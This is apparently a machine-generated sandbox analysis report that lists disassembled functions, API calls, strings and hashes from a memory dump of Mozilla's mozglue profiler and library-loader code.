ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA499A

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

free.MOZGLUE(?), ref: 6CAA49C6
free.MOZGLUE(?), ref: 6CAA49E9

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA4812
[I %d/%d] profiler_shutdown, xrefs: 6CAA4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6CAA4A42

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: f64543b74d41e98fd500649c2efd85c80e4ee2432b2c69ba21ef6cf6204fc272
Instruction ID: 0db59c9d99c1568e21ef34861cae1a3de8d9e77430571f1d1c074af3b28ff703
Opcode Fuzzy Hash: f64543b74d41e98fd500649c2efd85c80e4ee2432b2c69ba21ef6cf6204fc272
Instruction Fuzzy Hash: 08812775A001008FEB04DFA9D84975A3775AF42328F180639F916D7F41EB31E9DACB9A

Function 6CAA4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAA44B2,6CB1E21C,6CB1F7F8), ref: 6CAA473E
Part of subcall function 6CAA4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAA474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAA44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAA44D2
InitOnceExecuteOnce.KERNEL32(6CB1F80C,6CA9F240,?,?), ref: 6CAA451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA455C
LoadLibraryW.KERNEL32(?), ref: 6CAA4592
InitializeCriticalSection.KERNEL32(6CB1F770), ref: 6CAA45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAA45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAA45BB
InitOnceExecuteOnce.KERNEL32(6CB1F818,6CA9F240,?,?), ref: 6CAA4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAA4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAA4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAA466D
VerSetConditionMask.NTDLL ref: 6CAA469F
VerSetConditionMask.NTDLL ref: 6CAA46AB
VerSetConditionMask.NTDLL ref: 6CAA46B2
VerSetConditionMask.NTDLL ref: 6CAA46B9
VerSetConditionMask.NTDLL ref: 6CAA46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAA46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAA46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAA46FD

Strings

NativeNtBlockSet_Write, xrefs: 6CAA46F7
l, xrefs: 6CAA4578
kernel32.dll, xrefs: 6CAA44CD
WRusr.dll, xrefs: 6CAA44B5
user32.dll, xrefs: 6CAA4557, 6CAA463F

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction ID: 21ee3b19a42e17ce6a624d9c27775a56fb910ad2cfaf7e16a61bb25e35a64687
Opcode Fuzzy Hash: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction Fuzzy Hash: 7861F7B1604384DFEB009FA5CC0ABA97BB8EB46308F18855CF5049BE51DBB199C6CF91

Function 6CADE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CADB9F1,?), ref: 6CAD7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CADDCF5), ref: 6CADE92D
GetCurrentThreadId.KERNEL32 ref: 6CADEA4F
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEA5C
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEA80
GetCurrentThreadId.KERNEL32 ref: 6CADEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CADDCF5), ref: 6CADEA92
GetCurrentThreadId.KERNEL32 ref: 6CADEB11
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CADEB3C
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEB5B

Part of subcall function 6CAD5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CADEB71), ref: 6CAD57AB

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CADEBAC

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADEBC1
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CADEBE5
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,00000000), ref: 6CADEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADEC46
CloseHandle.KERNEL32(?), ref: 6CADEC55
free.MOZGLUE(00000000), ref: 6CADEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CADEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CADEA9B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: aaf746e2e3bc0faae1ee476d24253b7fdbb3f1535b18fa860dd6c804d293e450
Instruction ID: a4049cd1f2f43f73aa0487daa894a96022b30bc24e8c5106684025a03b4a4118
Opcode Fuzzy Hash: aaf746e2e3bc0faae1ee476d24253b7fdbb3f1535b18fa860dd6c804d293e450
Instruction Fuzzy Hash: 05A146757006048FEB00DF69D845BAAB7B5FF86318F16442DE919C7F51DB30A889CBA1

Function 6CADF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CADF8F9

Part of subcall function 6CAA6390: GetCurrentThreadId.KERNEL32 ref: 6CAA63D0
Part of subcall function 6CAA6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAA63DF
Part of subcall function 6CAA6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAA640E

ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF93A
GetCurrentThreadId.KERNEL32 ref: 6CADF98A
GetCurrentThreadId.KERNEL32 ref: 6CADF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF716

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

Part of subcall function 6CA9B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA9B5E0

GetCurrentThreadId.KERNEL32 ref: 6CADF739
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF746
GetCurrentThreadId.KERNEL32 ref: 6CADF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB1385B,00000002,?,?,?,?,?), ref: 6CADF829
free.MOZGLUE(?,?,00000000,?), ref: 6CADF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CADF866
free.MOZGLUE(?), ref: 6CADFA0C

Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA5E8C
Part of subcall function 6CAA5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5E9D
Part of subcall function 6CAA5E60: GetCurrentThreadId.KERNEL32 ref: 6CAA5EAB
Part of subcall function 6CAA5E60: GetCurrentThreadId.KERNEL32 ref: 6CAA5EB8
Part of subcall function 6CAA5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5ECF
Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAA5F27
Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAA5F47
Part of subcall function 6CAA5E60: GetCurrentProcess.KERNEL32 ref: 6CAA5F53
Part of subcall function 6CAA5E60: GetCurrentThread.KERNEL32 ref: 6CAA5F5C
Part of subcall function 6CAA5E60: GetCurrentProcess.KERNEL32 ref: 6CAA5F66
Part of subcall function 6CAA5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAA5F7E

free.MOZGLUE(?), ref: 6CADF9C5
free.MOZGLUE(?), ref: 6CADF9DA

Strings

" attempted to re-register as ", xrefs: 6CADF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CADF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CADF71F
Thread , xrefs: 6CADF789

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b93e1c6ffbf658711acdd20077c01b7792974c9c62e278a7e076aee5ca8cd0db
Instruction ID: 9561926e2d37381f472c27bbcfbb98c733fd363f6e8c3f9670257e1c6434d494
Opcode Fuzzy Hash: b93e1c6ffbf658711acdd20077c01b7792974c9c62e278a7e076aee5ca8cd0db
Instruction Fuzzy Hash: 818100B5A042409FDB10DF64C940AABB7F5BF85308F45452DE8499BB51EB30E989CBA2

Function 6CADEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEE60
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEE6D
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADEEA5
CloseHandle.KERNEL32(?), ref: 6CADEEB4
free.MOZGLUE(00000000), ref: 6CADEEBB
GetCurrentThreadId.KERNEL32 ref: 6CADEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADEECF

Part of subcall function 6CADDE60: GetCurrentThreadId.KERNEL32 ref: 6CADDE73
Part of subcall function 6CADDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAA4A68), ref: 6CADDE7B
Part of subcall function 6CADDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAA4A68), ref: 6CADDEB8
Part of subcall function 6CADDE60: free.MOZGLUE(00000000,?,6CAA4A68), ref: 6CADDEFE
Part of subcall function 6CADDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CADDF38

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

GetCurrentThreadId.KERNEL32 ref: 6CADEF1E
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEF2B
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEF59
GetCurrentThreadId.KERNEL32 ref: 6CADEFB0
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEFBD
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEFE1
GetCurrentThreadId.KERNEL32 ref: 6CADEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF000

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CADF02F

Part of subcall function 6CADF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CADF09B
Part of subcall function 6CADF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CADF0AC
Part of subcall function 6CADF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CADF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CADF008
[I %d/%d] profiler_stop, xrefs: 6CADEED7

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: c1df6e870424f9a3d7851b81f8eceab74520ac6df48d141e33c8c508e1a9dda4
Instruction ID: 10cc14c1358c8c3dec468b10c699058bc3a1b700194dde2698be912b57a7355f
Opcode Fuzzy Hash: c1df6e870424f9a3d7851b81f8eceab74520ac6df48d141e33c8c508e1a9dda4
Instruction Fuzzy Hash: A8514976704211DFEB009F6AD80A7A67BB4EB4636CF150529E929C3F41DB346888C7E6

Function 6CAA5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5E9D

Part of subcall function 6CAB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B85
Part of subcall function 6CAB5B50: EnterCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B90
Part of subcall function 6CAB5B50: LeaveCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5BD8
Part of subcall function 6CAB5B50: GetTickCount64.KERNEL32 ref: 6CAB5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAA5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAA5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAA6017

Part of subcall function 6CA94310: moz_xmalloc.MOZGLUE(00000010,?,6CA942D2), ref: 6CA9436A
Part of subcall function 6CA94310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA942D2), ref: 6CA94387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAA5F47
GetCurrentProcess.KERNEL32 ref: 6CAA5F53
GetCurrentThread.KERNEL32 ref: 6CAA5F5C
GetCurrentProcess.KERNEL32 ref: 6CAA5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAA5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAA5F27

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA5E8C

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA60CC

Strings

GeckoMain, xrefs: 6CAA5ECE, 6CAA6015

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: cb80d6f62e7d23b1be7bcde38249106b95f5142494108141a6de51c293c8bc3f
Instruction ID: 1ac2d24a055d81bceb2c516f4eac5da8e73e99cf0e477145efa81e83038fe8f7
Opcode Fuzzy Hash: cb80d6f62e7d23b1be7bcde38249106b95f5142494108141a6de51c293c8bc3f
Instruction Fuzzy Hash: B471FFB0A047809FD701DF69C581A6ABBF0FF5A308F14496DE48687F52D731E989CB92

Function 6CAA9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA93217
Part of subcall function 6CA931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA93236
Part of subcall function 6CA931C0: FreeLibrary.KERNEL32 ref: 6CA9324B
Part of subcall function 6CA931C0: __Init_thread_footer.LIBCMT ref: 6CA93260
Part of subcall function 6CA931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA9327F
Part of subcall function 6CA931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9328E
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932AB
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932D1
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA932E5
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAA9675
__Init_thread_footer.LIBCMT ref: 6CAA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAA9707
__Init_thread_footer.LIBCMT ref: 6CAA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAA97B7
FreeLibrary.KERNEL32 ref: 6CAA97D0
FreeLibrary.KERNEL32 ref: 6CAA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9824

Strings

NtMapViewOfSection, xrefs: 6CAA9701
ntdll.dll, xrefs: 6CAA96E3
MapViewOfFileNuma2, xrefs: 6CAA97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAA9670

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
